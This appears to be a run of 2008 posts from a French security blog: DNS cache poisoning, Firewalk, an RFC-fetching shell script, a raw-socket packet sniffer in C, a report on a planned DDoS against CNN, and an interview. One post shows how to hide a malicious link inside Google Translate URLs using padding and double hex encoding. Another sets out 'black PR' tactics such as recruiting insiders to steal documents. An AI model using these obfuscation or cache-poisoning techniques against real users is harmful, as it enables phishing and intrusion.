
Ainsi, vous empoisonnez le cache pour aaaa.google.com ce dont on se fout un peu, mais aussi www.google.com, ce qui est un petit peu plus gênant pour les prochains! Evidement, on placerait dans de telles requêtes un TTL le plus long possible, histoire que l'effet persiste.

Pour résumer : vous envoyez des requêtes à un résolveur, sur des hôtes inconnus, et envoyez également les réponses "du serveur" qu'il interrogera, jusqu'à ce que l'une de vos "réponse" soit prise à la place d'une vraie, vous avez alors empoisonné le cache pour bien plus qu'un hôte qui n'existe pas!

La solution de Kaminsky (et du consortium d'industriels qui a patché la faille dans un bel exemple de coopération) est de randomiser non seulement l'ID de transaction mais également le port source, ainsi, ce n'est plus seulement 16 mais 32 bits qu'il faut attaquer, et là c'est nettement plus chaud!

L'auteur de l'article qui m'a inspiré (retiré maintenant) estime à une dizaine de secondes le temps nécessaire pour mener à bien l'attaque avec une connection intrernet rapide.

Les patchs sont en cours de distribution, sinon vous pouvez passer sous OpenDNS, qui utilise des serveurs protégés, ou si vous maintenez un serveur DNS installer DJBDNS qui randomize son port source depuis des années. Attention aux phishers maintenant que l'attaque est disclosed et tous les serveurs non patchés!


UPDATE : |)ruid et HDM (metasploit project) ont publié ce matin un exploit fonctionnel sur Full-disclosure, intégré au metasploit framework, des attaques sont donc à prévoir.

22 juil. 2008

Security/Networking libs et temps qu'il reste à vivre

Je me suis offert récement l'excellent ouvrage de Mike Schiffman "Building open source security tools".

L'auteur y présente les paradigmes des outils de sécurité réseau, les librairies pratiques :

  • Libpcap : capture de paquets
  • Libnet : création/injection de paquets - écrite par l'auteur -
  • Libnids : monitoring et évaluation d'évènements réseau
  • Libdnet : manipulations sur les basses couches du réseau (accès au cache ARP du noyau, analyse des interfaces réseau, construction de paquets...)
  • LibSf : OS fingerprinting
  • LibOpenSSL : cryptographie

Mais aussi des présentations des techniques de reconnaissance passive et active, des techniques d'attaque, de défense et - wouhou!- un gros chapitre sur Firewalk! Pour ceux qui ne connaissent pas, Firewalk permet de déterminer les règles appliquées par un firewall (ACL).

Tout comme traceroute, Firewalk se base sur l'IP expiration (décrémentation du champ TTL des paquets IP à chaque `hop') pour tester le fonctionnement d'un firewall sans connaissance de l'état des machines qu'il protège.

Le champ TTL (Time to Live) d'un packet IP permet d'éviter les boucles de routage. Lorsqu'un packet est émis, ce champ est remplit d'une valeur plus ou moins arbitraire, décrémentée par chaque routeur que le paquet traverse. Lorsqu'il arrive à zero, le routeur (s'il se comporte normalement) doit émettre un paquet "ICMP detination unreachable" à l'émetteur. Ainsi, l'outil traceroute tente de joindre une cible donnée avec un ttl de 1, puis de 2 puis 3 etc... afin de déterminer par quels routeurs passent les packets pour atteindre la cible.

Firewalk détermine donc d'abord la distance (en hops bien sûr!) qui le sépare du firewall. Disons 3.

Il débute ensuite un scan d'une machine - réelle - au sein du réseau, située à plus d'un hop du firewall, tout en fixant le TTL des paquets envoyés à 4. Ainsi, ils doivent passer le firewall, sans néanmoins atteindre la machine scannée. Les paquets sont envoyés en UDP et TCP, port par port ('fin selon ce que l'on spécifie quoi!).

Si le paquet respecte une règle du firewall ("autorisé à passer"), Firewalk reçoit un message "ICMP destination unreachable" (Time to Live insuffisant pour atteindre la machine scannée)

Sinon, le timeout expire : le port est bloqué par le firewall.

C'est tout bête, c'est super efficace, c'est bien écrit, c'est open source, c'est du old school, rhâââ que c'est beau!!

J'utilise actuelement les libpcap et libnet pour un projet de stage, et je suis impressionné par la puissance qu'elles offrent, bien que le côté "opaque" des manipulations me gène un petit peu, l'écriture des softs est simple et les libs assez matures pour ne pas perdre en possibilités.

Savoir que le code produit est portable est également motivant. Je ne pense pas finalement réécrire RARPing avec ces librairies, mais APing aurait sans doute à y gagner (portabilité, lisibilité, rapidité etc...)

Stay tuned! (hum inutile d'être trop trop `tuned' quand même, vu le temps libre dont je dispose, ça sera pas fait demain non plus...)

Et non je ne parlerais pas de Dan Kaminsky avant sa conf au Black Hat 2008!! Par contre les noms des nominés aux  pwnies awards sont maintenant publiés sur http://pwnie-awards.org/2008/awards.html et ça c'est marrant!

13 juil. 2008

The Nmap book, par Fyodor

Bon, inutile je suppose de s'attarder sur les présentations, Nmap est de l'avis de tous le scanner de ports le plus puissant aujourd'hui. Il dispose aussi de la capacité à reconnaitre un OS à distance, d'une détection des versions des services, d'un moteur de script, et d'innombrables projets auxiliaires (GUI, nping, ncat, base de scripts...)

Le projet a commencé ici par Fyodor. Le même Fyodor est en train de terminer l'écriture d'un livre au sujet de Nmap. Il a récemment mis en ligne presque la moitié de son livre, en attendant une sortie définitive (prévue pour début/mi aout).

Ces chapitres sont disponibles ici : http://nmap.org/book/toc.html

18 juin 2008

Des RFC sous la main

C'est lors d'une discussion avec Kbok qu'est apparue l'envie de disposer des RFC comme on dispose des pages de man. Voici donc un petit script shell pour faire le boulot:


#!/bin/bash

# (C) 2008, Arnaud Bellec [arnaud.bellec at gmail dot com]
# (C) 2008, Henri Doreau [henri.doreau at gmail dot com]
# (FUCK) 2008, le mec qui bloque wget sur son site

# This program is free software; you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

DIRNAME=_rfc

# Storage
if [ ! -d $DIRNAME ]
then
mkdir $DIRNAME
fi

# We look for an existent file, else we'll download and process it
if [ -z $1 ]
then
echo "No argument supplied!"
echo "Usage : $0 [number of requested RFC]"
else
file="rfc"`echo $1`".txt"
if [ -f $DIRNAME/$file ]
then
over $DIRNAME/$file
else
wget -U "tralala" -q http://www.faqs.org/ftp/rfc/rfc$1.txt -O $DIRNAME/$file
sed '1,32d' -i $DIRNAME/$file
sed -e 's/<[^>]*>//g; /</N;' -i $DIRNAME/$file
fi
fi


Bon alors effectivement la license prend autant de place que le script mais l'idée est là! Il manque une commande sed (ou autre) pour la conversion des caractères spéciaux du HTML.
L'utilisation est trivial, vous pouvez rendre le script executable:

chmod u+x rfc.sh

et créer l'alias suivant dans votre .bashrc:

alias "rfc"="~/rf.sh"

Vous n'avez ensuite qu'à le lancer :

rfc 1035

et il se comporte à peu près comme le man!
En espérant qu'il vous serve!!

A part ça la première version beta de mon Rarping est sortie aujourd'hui. N'hésitez pas à y jeter un oeil et me renvoyer vos commentaires, idées, patches etc...

4 juin 2008

Passage de malwares aux domaines de confiance [Google CSRF issue]

Bien moins violent que ce qui se déroule en ce moment (attaques de browsers via flash, via des iframes insérées malicieusement dans des sites web de confiance (ou pas) via des injections SQL via... ha non c'est tout!), je viens juste de remarquer comment un attaquant pourrait faire s'executer du javascript sur un domaine de confiance tels que ceux des gros portails (Google, yahoo etc...)

Ces sites proposent des moteurs de traduction de pages, lesquels laissent les contenus actifs s'executer. Ce qui est normal, si on ne leur demande pas l'inverse, option non trouvée (disponible?) néanmoins.
Là ou le bât blesse, c'est qu'une fois la page traduite, elle peut être appelée en GET banalement.

-"Huh? il y a un problème à ça?"
Parfaitement, car la sombre url pirate

www.evil_russian_warez.hk

devient la douce et belle

http://translate.google.com/translate?u=http%3A%2F%2Fwww.evil_russian_warez.hk&hl=en&ie=UTF8&sl=en&tl=fr

et quiconque ne prête pas attention à la fin de l'url, risque de cliquer sur le lien en confiance.

-"Ba ouais mais on voit encore l'url pirate pas loin!!"
Aucun souci l'ami! il suffit alors de la faire précéder d'une série d'espaces, qui seront convertis en '+' dans l'URL finale, comme ceci :

http://translate.google.com/translate?u=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++http%3A%2F%2Fwww.evil_russian_warez.hk&hl=en&ie=UTF8&sl=en&tl=fr

C'est effectivement plus discret. Mais maintenant que nous sommes lancés...
Sur la page de traduction de Google, supprimons le "http://" lisible dans le champ d'url de la page à traduire et tentons d'encoder le reste de l'url en hexa:

%77%77%77%2E%65%76%69%6C%5F%72%75%73%73%69%61%6E%5F%77%61%72%65%7A%2E%68%6B

l'url de la page à traduire est la suivante :

http://translate.google.com/translate?u=%2577%2577%2577%252E%2565%2576%2569%256C%255F%2572%2575%2573%2573%2569%2561%256E%255F%2577%2561%2572%2565%257A%252E%2568%256B&hl=en&ie=UTF8&sl=en&tl=fr


Magie du web: ça fonctionne, Google tente bien de joindre le serveur spécifié! Bien évidemment, nous sommes ici dans du fishing pour cliqueurs névrosés et stupides, néanmoins, nous avons obfusqué simplement une url pirate et utilisons un domaine de confiance!!
Cet outil, comme de nombreuses CSRF, peut servir à de stupides tentatives de fishing, mais aussi à des attaques plus évoluées sur requêtes non désirées.

27 mai 2008

Ghost vuln... bhooooooooooo!!

(Pour toute réclamation concernant la précision du titre de l'article voire avec mes avocats)
Petit post au milieu d'une periode d'examens divers gourmande en temps! Petit panorama de ce qui attira mes yeux récemment.

Premierement (vous allez voire d'où me vient le titre incompréhensible de l'article :) ) la publication sur securityFocus d'un advisory sur une vulnerabilité du noyau linux. Le petit détail troublant c'est que personne ne semble savoir à quoi réfère cet advisory! La faille n'est pas classée, ils manquent d'informations, aucun exploit aperçu dans la nature... Bref, la faille fantôme! Sans doute un effet de l'accroissement brutal des responsible disclosures qui consistent à ne révéler une faille au grand public qu'après que les developpeurs l'aient patché.

Deuxièmement, un DoS via la fonction sleep de PHP qui l'eu cru? Vous en rêviez, Bugtrack vous l'offre! A voir ici et la aussi : http://www.milw0rm.com/exploits/5679 Le principe est simple, le temps d'execution de sleep() n'est pas comptabilisé dans la limite de temps d'execution des scripts PHP imposée courament par les serveurs web. L'exploit sature la memoire pour provoquer le DoS annoncé. Rien d'énorme cependant, l'attribution même du statut de "vulnérabilité" à cette annonce est d'ailleur contestée sur Bugtraq.

Enfin, la création il y a quelques temps de l'OCERT (Open Source Computer Emergency Response Team), un groupe d'experts en securité, assisté de la communauté, créé afin d'apporter un petit peu de réactivité à la securité des projets open source. Prometteur, annoncé à grands coups de buzz, à suivre...


Pendant ce temps là, Adrian Pastor continue de pentester son téléphone:

http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub

http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-2
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-3
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5
http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers
http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub
http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub-pt-2

De l'acharnement? où ça?
;)

11 mai 2008

exploration réseau : Goolge rules again!

En traînant sur le site de "Johnny I hack stuff" (http://johnny.ihackstuff.com), monsieur Google hacking, je suis tombé sur un script perl de découverte réseau vraiment original! Ecrit par "Jimmy Neutron", il permet d'effectuer une découverte réseau active à l'aide de Google et du protocole DNS.
Ce script prend en argument deux mots clefs et un nom de domaine. Les deux mots clefs sont soumis à Google, qui va renvoyer d'autres mots proches.
Pour ceux qui ne connaissent pas Google sets : il s'agit d'un programme qui pour une suite de mots renvoie des mots proches (ainsi, avec en entrée Volta et Galilée, on obtient la liste suivante :

Predicted Items
galileo
volta
newton
torricelli
fermi
fulton
marconi
spallanzani
rubbia

Ensuite, des requêtes DNS sont effectuées sur les noms d'hôtes construits à partir des résultats de Google et du nom de domaine.

Une carte du réseau peut alors être établie en fonction de l'aboutissement ou non des requêtes DNS.
Le concept, s'il est simple, est également très ingénieux!
Le script est disponible ici : http://johnny.ihackstuff.com/downloads/task,doc_download/gid,26

Vous trouverez d'autres outils dans la section download du site, dont une version windows du programme décrit ici.

3 mai 2008

Coder un sniffer sous Linux

Cela faisait un moment que je voulais me coder un petit sniffer basique sous Gnu/Linux. C'est chose faite avec le petit code suivant.
Il reconnaît pour l'instant les trames TCP, UDP et ARP mais est simple à faire évoluer.
Le principe est simple, on ouvre une raw socket (SOCK_RAW) puis on la passe en mode promiscuous ("accepter toutes les données qui passent par l'interface réseau choisie"). Ensuite, plus qu'à lire paquet par paquet, puis parser les headers pour déterminer le protocole auquel nous avons à faire.

Voici le code. (Fichier .c)

/**
* @File sniffer.c
* @brief sniff network traffic
*
* @author Hth http://hatch-the-hitch.blogspot.com
* @date samedi 3 mai 2008, 00:31:21 (UTC+0200)
*
* version : <0.1 alpha
*
* gcc -o sniff sniffer.c -pedantic
*
*/

/* std */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* usual networking */
#include <sys/socket.h>
#include <sys/types.h>
/* low level networking */
#include <sys/ioctl.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
/* headers paquets */
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/tcp.h>



typedef struct {
char * ifaceName;
int sock;
unsigned long max_recv;
struct sockaddr_ll device;
} param_t;


/* --- PROTOTYPES --- */
char argumentManagement ( int argc, char **argv, param_t * parameters );
void initParams ( param_t * parameters );
char checkParams ( param_t * parameters );
void usage ( void );
char initSniff ( param_t * parameters );
void loop ( param_t * parameters );
int getPacketType ( unsigned char * packet );
void printOutTCP ( unsigned char * packet );
void printOutUDP ( unsigned char * packet );
/* ------------------ */


int main ( int argc, char **argv )
{
param_t parameters;

/* Parse and check command line */
if (argumentManagement(argc, argv, &parameters) < 0)
{
usage();
exit(EXIT_FAILURE);
}
else
{
/* Prepare system for sniffing */
if ( initSniff(&parameters) < 0 )
{
fprintf(stderr, "Can't prepare to sniff!\n");
exit(EXIT_FAILURE);
}
else
{
/* Sniffing loop : May never end */
loop(&parameters);
}
}

return 0;
}


char argumentManagement ( int argc, char **argv, param_t * parameters )
{
int opt;

while ( (opt = getopt(argc, argv, "hc:")) != -1 )
{
switch(opt)
{
/* exit after a specified number of packets received */
case 'c' : parameters->max_recv = atol(optarg);
break;

case 'h' :
case '?' :
default : return -1;
}
}
/* Non option arguments */
/* IFace name */
if (argv[optind] == NULL)
return -2;
else
parameters->ifaceName = argv[optind];

/* Checkif required parameters have been given etc... */
return checkParams(parameters);
}


void initParams ( param_t * parameters )
{
parameters->ifaceName = NULL;
parameters->sock = -1;
parameters->max_recv = 0;
memset(&parameters->device, 0x00, sizeof(struct sockaddr_ll));
}


char checkParams ( param_t * parameters )
{
/* Check if required arguments have been specified */
if ( (parameters->ifaceName == NULL) )
{
fprintf(stderr, "No interface selected!\n");
return -1;
}
else
return 0;
}


void usage ( void )
{
fprintf(stderr, "Usage : ./sniff [options] [interface]\n");
fprintf(stderr, "options\n");
fprintf(stderr, "\t-c [count]\t: stop after [count] packets received\n");
fprintf(stderr, "\t[interface]\t: network iface from which to sniff (required!)\n");
}


char initSniff ( param_t * parameters )
{
struct ifreq ifr;

/* Open raw socket, exit on failure */
parameters->sock = openRawSock();
/* Folowing instructions set selected iface into promisc mode */
strncpy(ifr.ifr_name, parameters->ifaceName, IFNAMSIZ-1);

if ( ioctl(parameters->sock, SIOCGIFFLAGS, &ifr) < 0 )
{
close(parameters->sock);
perror("Flags");
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;

if ( ioctl(parameters->sock, SIOCSIFFLAGS, &ifr) < 0 )
{
perror("Can't turn into promiscuous mode");
close(parameters->sock);
return -2;
}
/* --- -- --- */
return 0;

}


void loop ( param_t * parameters )
{
unsigned long nb_recv;
unsigned char packet[4096];

/* This loop will never end if no max_recv specified */
for (nb_recv=1; ((nb_recv <= parameters->max_recv) || !(parameters->max_recv)); nb_recv++)
{
/* recv a packet */
read(parameters->sock, (char *)&packet, 4096);

fprintf(stdout, "\n--] Packet #%lu\n", nb_recv);
/* Add protocols and parsing functions here */
switch(getPacketType(packet))
{
case IPPROTO_TCP : printOutTCP(packet);
break;

case IPPROTO_UDP : printOutUDP(packet);
break;

case ETH_P_ARP : fprintf(stdout, "ARP request\n");
break;

default : fprintf(stdout, "Unrecognized packet\n");
break;
}
}

close(parameters->sock);
}


int getPacketType ( unsigned char * packet )
{
/* Read type of packet from ethernet header */
struct ethhdr * eth;

eth = (struct ethhdr *)packet;

/* If protocol is IP : we select between TCP and UDP */
if ( ntohs(eth->h_proto) == ETH_P_IP )
return getIPproto(packet);
else
return ntohs(eth->h_proto);
}


int getIPproto ( char * packet )
{
/* Look into IP header to know if this is UDP or TCP */
struct iphdr * ip=(struct iphdr *)(packet + sizeof(struct ethhdr));

return (ip->protocol);
}


/* This function prints out informations from a TCP packet */
void printOutTCP ( unsigned char * packet )
{
unsigned char *src, *dst;
struct iphdr * ip;
struct tcphdr * tcp;

/* put a pointer on IP header */
ip = (struct iphdr *)(packet + sizeof(struct ethhdr));
/* the same way for TCP */
tcp = (struct tcphdr *)(packet + sizeof(struct ethhdr) + sizeof(struct iphdr));

/* Used to print out IP addresses */
src = (unsigned char *)&(ip->saddr);
dst = (unsigned char *)&(ip->daddr);
/* --- */
fprintf(stdout, "TCP frame\n");
fprintf(stdout, "From\t: %u.%u.%u.%u (port : %u)\n", src[0], src[1], src[2], src[3], ntohs(tcp->source));
fprintf(stdout, "To\t: %u.%u.%u.%u (port : %u)\n", dst[0], dst[1], dst[2], dst[3], ntohs(tcp->dest));
fprintf(stdout, "TTL\t: %d\n", ip->ttl);
fprintf(stdout, "Flags\t: SYN=%d | ACK=%d | RST=%d | URG=%d | FIN=%d\n",tcp->syn, tcp->ack, tcp->rst, tcp->urg, tcp->fin);
}


/* This function prints out informations from a UDP packet */
void printOutUDP ( unsigned char * packet )
{
unsigned char *src, *dst;
struct iphdr * ip;
struct udphdr * udp;

/* put a pointer on IP header */
ip = (struct iphdr *)(packet + sizeof(struct ethhdr));
/* the same way for UDP */
udp = (struct udphdr *)(packet + sizeof(struct ethhdr) + sizeof(struct iphdr));

/* Used to print out IP addresses */
src = (unsigned char *)&(ip->saddr);
dst = (unsigned char *)&(ip->daddr);
/* --- */
fprintf(stdout, "UDP frame\n");
fprintf(stdout, "From\t: %u.%u.%u.%u (port : %u)\n", src[0], src[1], src[2], src[3], ntohs(udp->source));
fprintf(stdout, "To\t: %u.%u.%u.%u (port : %u)\n", dst[0], dst[1], dst[2], dst[3], ntohs(udp->dest));
fprintf(stdout, "TTL\t: %d\n", ip->ttl);
}


/* Open RAW socket, receive every packet that crosses our netdevice */
int openRawSock ( void )
{
int fd;

if ( (fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0 )
{
perror("Socket");
exit(EXIT_FAILURE);
}
else
return fd;
}


Voilà!! En espérant qu'il pourra servir à quelqu'un. Je vous laisse le soin de refaire l'indentation détruite par l'éditeur wysiwyg! :)
Il aurait été possible d'utiliser la libPCAP (Packet CAPture) pour coder quelque chose de bien plus puissant, elle sert aussi à accéder aux basses couches du réseau, pas très utile sous Gnu/Linux où cela se fait bien "à la main", mais indispensable sous Windows!!

2 mai 2008

Relations publiques négatives : Pwnez l'Humain!

"Black PR" (black public relations) ou "negative PR" (cette seconde expression est celle retenue pour les traductions françaises) consiste à s'attaquer à l'image d'une personne ou d'une société (normalement vos rivaux).
Science (art?) proche de l'espionnage industriel, les relations publiques négatives sont étroitement liées à la sécurité informatique du fait que la connaissance des petits secrets de la "cible" constitue la première étape du processus offensif.

A partir de là, tous les coups sont permis (en pratique hein!!) : campagne de diffamation, débauchage des employés, entrave à l'embauche, paralysie des systèmes d'information de la cible, vol d'informations sur les ordinateurs de la cible...


Les articles rédigés par des professionnels de black PR font froid dans le dos : chantage, manipulation, harcèlement, humiliations etc... Le seul lien avec le hacking est ici une ambiance digne d'un roman CyberPunk!
En fait ce n'est pas vrai, il y a par exemple le fait que de telles attaques obligent la partie offensive à détenir un contrôle total sur l'environnement cible, un peu comme les connaissances requises pour attaquer un soft/hôte/réseau.

Les analogies sont en réalité très nombreuses : Comparons une attaque black PR contre une entreprise et une attaque d'un réseau informatique.

Recon : Dans un cas comme dans l'autre, l'environnement doit être défini au mieux. Ici, on recherchera des personnalités/profils susceptible d'êtres utilisés pour récupérer des informations secrètes ou servir d'intermédiaire pour toucher un autre employé. Les "vulnérabilités" sont le besoin d'argent, la rancoeur/frustration, une trop haute estime de soi, le besoin insatiable de reconnaissance etc...

Exploit : La encore : aucune limite, tout dépend des objectifs fixés. Supposons qu'il ait été prévu que la campagne de discréditation de notre cible se fasse par la révélation au public de documents comptables, il nous faudra obtenir ces documents. Après avoir pris au piège certains employés minutieusement sélectionnés, ils seront amenés à dérober les documents.
Dans ce cas là comme dans d'autres, les rumeurs générées peuvent être diffusées par l'intermédiaire de journaux type "tabloids", ou sur le net.
Générez un buzz et le travail est fait!

Forensic : L'entreprise attaquée pourrait bien tenter de retrouver l'origine des rumeurs, néanmoins il est évident que tracer une rumeur sur le net demande vite plus d'efforts que la reconstruction d'une bonne image à grand renfort de publicité (et donc d'argent).

Protection
: Il existe des sociétés spécialisées dans la protection contre les attaques visant l'image. Ivana "Ink" Kalay, du site www.spinhunters.org en dirige une, basée en Angleterre. La encore le rapport avec la sécurité informatique est trivial : spinhunters est associé au GnuCitizen (on va encore dire que je ne parle que d'eux!)

Rapide présentation de ce qui se trame dans la cour des grands. Le scandale dans lequel fut impliqué Max Mosley constitue un exemple de ce à quoi peut ressembler une campagne de relations publiques négatives du point de vue extérieur.

23 avr. 2008

Quelques questions à Ronald van den Heetkamp (яoиald)

Ronald van den Heetkamp est l'auteur du "Hacker Webzine", ex-membre du GnuCitizen, auteur de nombreux projets. Ses recherches sont principalement axées sur les applications web et (surtout) la sécurité des navigateurs.
Ceci est la traduction de l'entretient que j'ai pu avoir avec lui. La version originale est disponible également (original english version)


--] Un langage de prédilection?

Je serais tenté de dire "n'importe lequel qui fasse le boulot", néanmoins j'aime vraiment PHP car il est construit sur le C, ou en réalité c'est même une version scriptable du C. cela me permet d'écrire rapidement des programmes qui font autant de choses que des codes en C. Je n'ai pas le temps de compiler des programmes. J'écris et je lance. C'est vraiment proche du C, c'est pour ça que je l'apprécie.
Javascript est également intéressant. En tant que langage précompilé, il est très rapide à l'exécution, et également très dur à apprendre. Si il y a un langage (de script) à la fois très compréhensible mais dont l'apprentissage des mécanismes internes et externes est complexe, c'est vraiment JavaScript. Ça peut paraitre bizarre pour beaucoup de gens, notamment ceux habitués au C, mais selon moi c'est vrai. Je pense que la plupart des gens peuvent comprendre le C bien plus vite que le ECMA script, et ses "dungeons and dragons".

--] Qu'est ce qui fait qu'un hacker est un hacker ?

Généralement une personne qui vit un peu en marge d'une société ou d'un groupe. Comme un "exclu", quelqu'un qui a abandonné le personnage ou le rôle qu'il joue, et part explorer l'inconnu. Une telle personne doit impérativement être obsessionnelle dans ce qu'il ou elle fait, car cela demande beaucoup d'effort et d'endurance. Je veux dire que tu dois avoir une raison de te questionner sans cesse, à propos de quelque chose.
Ce peut être une route longue et difficile avant de tirer satisfaction de tes découvertes. C'est à peu près tout je pense. L'étape suivante est la question du partage, c'est ce que je fais sur mon blog, c'est une sorte de journal de bord de mes aventures sur le grand océan, ni plus ni moins. Mais au final, on ne peut tout exprimer par écrit. Lire des blogs et assister à des conférences peuvent te donner des compétences, mais ne te rendront pas meilleur, à moins que tu n'essayes réellement de le devenir. Quelque part c'est un peu étrange car je domine mon jeu, je ne peux plus regarder quelque part pour apprendre de nouveaux trucs. La plupart des choses, je les connais déjà, du coup ça reviens à seulement agir, mais parfois tu découvres de nouvelles choses. C'est pas de la vantardise, pour moi c'est très difficile d'apprendre de nouvelles technique des autres désormais, car je les connais ou comprend parfaitement, bien que je n'en parle pas sur mon blog. Bien sûr il y en a qui font tilter mon imagination, mais elles sont rares.

--] Le truc le plus important cette année dans le domaine de l'info? une idée pour l'année prochaine?

Et bien, je pense que les mécanismes de requêtes non autorisées vont accaparer pas mal d'attention cette année, c'était déja le cas début 2008 avec les problèmes touchant les routeurs entre autre. Je pense que flash va rester un vecteur d'attaque. Je ne m'en inquiète plus trop, tout comme les failles de realplayer ou quicktime, depuis que j'en ai désactivé la plupart. C'est un domaine qui ne m'intéresse pas, mais il y a beaucoup de choses à découvrir au sein de ces services, c'est évident.
Oh et puis aussi des grosses attaques de botnets, je pense qu'il y vont en gagner des tonnes cette année!

--] Le principal espoir du moment pour la sécurité?

Il est temps de se débarrasser de tout ce qui porte atteinte à la sécurité. Internet n'a pas été conçu pour transporter de la vidéo ou interconnecter tous les réseaux automatiquement. HTTP est indépendant de tout état pour une bonne raison, et nous l'avons détruite. L'internet était destiné au partage d'information, pas à youtube. Finalement, les gens se lasseront, je pense que 4chan est un bon exemple. Le net va devenir un lieu de frustration, les gens l'abandonneront, et il sera de nouveau laissé entre les mains des geeks. Ça peut sembler une bien sombre image mais je ne pense vraiment pas que cela puisse continuer de la sorte. Tout peut être hacké, attaqué, lorsque tu le connecte au net. T'es plus en sécurité en ligne. Et peu importe ton comportement, il y a quelque part une attaque qui t'attend. A moins que l'on ne rende le net comme il était auparavant, sans états ni scripts.

--] Le pire cauchemar en ce moment pour la sécurité?

Je pense qu'on est en plein dedans, c'est un vrai cauchemar et personne n'a de solution pour que cela cesse!

--] Selon toi, comment vont évoluer les menaces (à court et long terme)

A moins que les internautes ne deviennent mieux éduqués et ne cliquent pas sur chaque popup ou lien quelconque, ça va rester comme c'est. La plupart des bots touchent les mêmes personnes qui cliquent sur des jolies poupées dansantes, et ça a moins de rapport avec les exploits actuels ou les stack overflows depuis qu'il devient de plus en plus difficile de les exploiter.

--] Des projets?

Ouais, je travaille sur un nouveau projet appelé "Teisatsu". Ça va devenir un projet sympa, c'est déjà un "webbased nmap scanner", et un outil de pénétration réseau complet, écrit exclusivement en PHP. Il a pas mal de possibilités, son propre client telnet, scanner de noms d'hôtes, Google spider et d'autre choses dans le même genre. J'ignore quand il sera prêt, sans doute le mois prochain.

--] Une citation préférée?

Il y en a beaucoup, de bien des auteurs, mais je voudrais donner une citation du Tao te Ching (écrit aux alentours de 600 - 500 av. JC). C'est une partie du verset 33, et ça résume tout ce qu'il y a à dire:

Verset 33

Connaitre les autres constitue l'intelligence;
Se connaitre soit même constitue la vraie sagesse.
Maitriser les autres constitue la force;
Se maitriser soit même constitue le vrai pouvoir.

Merci яoиald :)


21 avr. 2008

DDOS sur CNN

Un groupe de pirates chinois souhaiteraient attaquer le site de CNN. L'appel du groupe "Revenge of the flame" est actuellement relayé par un nombre croissant de sites chinois. L'objectif étant de saturer le serveur (DDOS attack)




emblème du groupe Revenge of the Flame

Au 17 avril 2008, le site (en) http://www.thedarkvisitor.com publiait les informations suivantes :

1. Début de l'attaque le 19 Avril 2008 à 8h00
2. Attaque ciblée sur www.cnn.com
3. Attaque de type DDOS, prolongée sur trois heures
4. Appel à contribution de botnets (réseaux de machines infectées, à disposition des pirates) afin de mener à bien l'attaque.

L'annonce étant publique, le site www.cnn.com a mis en place des mesures anti SYN flood. Cette protection aurait permis de faire échouer une première tentative, mais aurait également perturbé fortement les tentatives de connection "normales" en provenance d'Asie

ATLANTA, Georgia (CNN) — CNN was targeted Thursday by attempts to interrupt its news Web site, resulting in countermeasures that caused the service to be slow or unavailable to some users in limited areas of Asia.

Les pirates ont alors reporté leur attaqee à une date "ultérieure non précisée publiquement", en attendant la désactivation des règles anti SYN flood sur le site. En attendant le groupe continue de recruter, et apparemment sans problèmes.


Voici le premier message public du groupe à la population chinoise (Version anglaise et traduction francaise après) :

Statement from Revenge of the Flame:

In just three short days, our organization, the Revenge of the Flame, has grown large. First, I want to thank everyone for their strong sense of nationalistic responsibility. However, maybe we were too impetuous. We love our country! We will resist all anti-Chinese influences! However, we must choose the right way to come to the defense of our country, families and ourselves!!! After some core internal discussions, we have decided to temporarily cancel the 19th attack plan! The Revenge of the Flame organization still exists! Later we can be a computer discussion organization, we will study together for the day our country needs us! Our government and military will all mobilize! At that time, we will let those so-called foreign net-forces see! No matter where, China will never lose to them! We also have our net-forces! Perhaps at that time, our Revenge of the Flame will be the main strength! We all love our country! But, we must use sensible methods to defend our honor!

ATTENTION: Our original plan for 19 April has been canceled because too many people are aware of it and the situation is chaotic. At an unspecified date in the near future, we will launch the attack. We ask that everyone remain ready. I will repeat it again. At an unspecified date in the near future, we will launch the attack. We are only at present cancelling the attack. We could send out a notice on the day of the attack and have it completed in one day. The attack hasn’t been cancelled; it will be carried out on an unspecified day in the near future. I think everyone understands what we mean.

We hope that even more people with the Chinese national blood will join our actions. Only in unity is there strength. We are not individuals, we are a collective, and we are Chinese.

Source américaine : 17 avril / 18 avril

Et la traduction FR:

En seulement 3 courts jours, notre organisation, la Revanche de la Flame, a grossit énormément. Tout d’abords, j’aimerai remercier chacun d’entre vous pour votre “sens responsable nationaliste”. Cependant, nous étions sans doute trop impétueux. Nous aimons notre pays ! Nous allons resister à toutes les influences anti-chinoises. Cependant, nous devons choisir la bonne voie pour défendre notre pays, nos familles et nous-même ! Après quelques discussion internes, nous avons décidés d’annuler temporairement l’attaque du 19. L’organisation de La Revanche de la Flamme existe toujours ! Plus tard nous pourrons être une organisation de discussion virtuel, nous étudierons ensemble pour le jour où notre pays aura besoin de nous. Notre gouvernement et nos armées se mobiliseront tous ! A ce moment la, nous laisserons les sus-nommées “force du net étrangère” voir (comprendre) ! N’importe ou, la Chine ne perdra jamais contre eux. Nous avons, nous-aussi nos force du net ! Peut-être ace moment, notre Revanche de la Flamme sera la plus grand force ! Nous aimons tous notre pays ! Mais nous devons user de méthode plus sensibles pour défendre notre honneur.

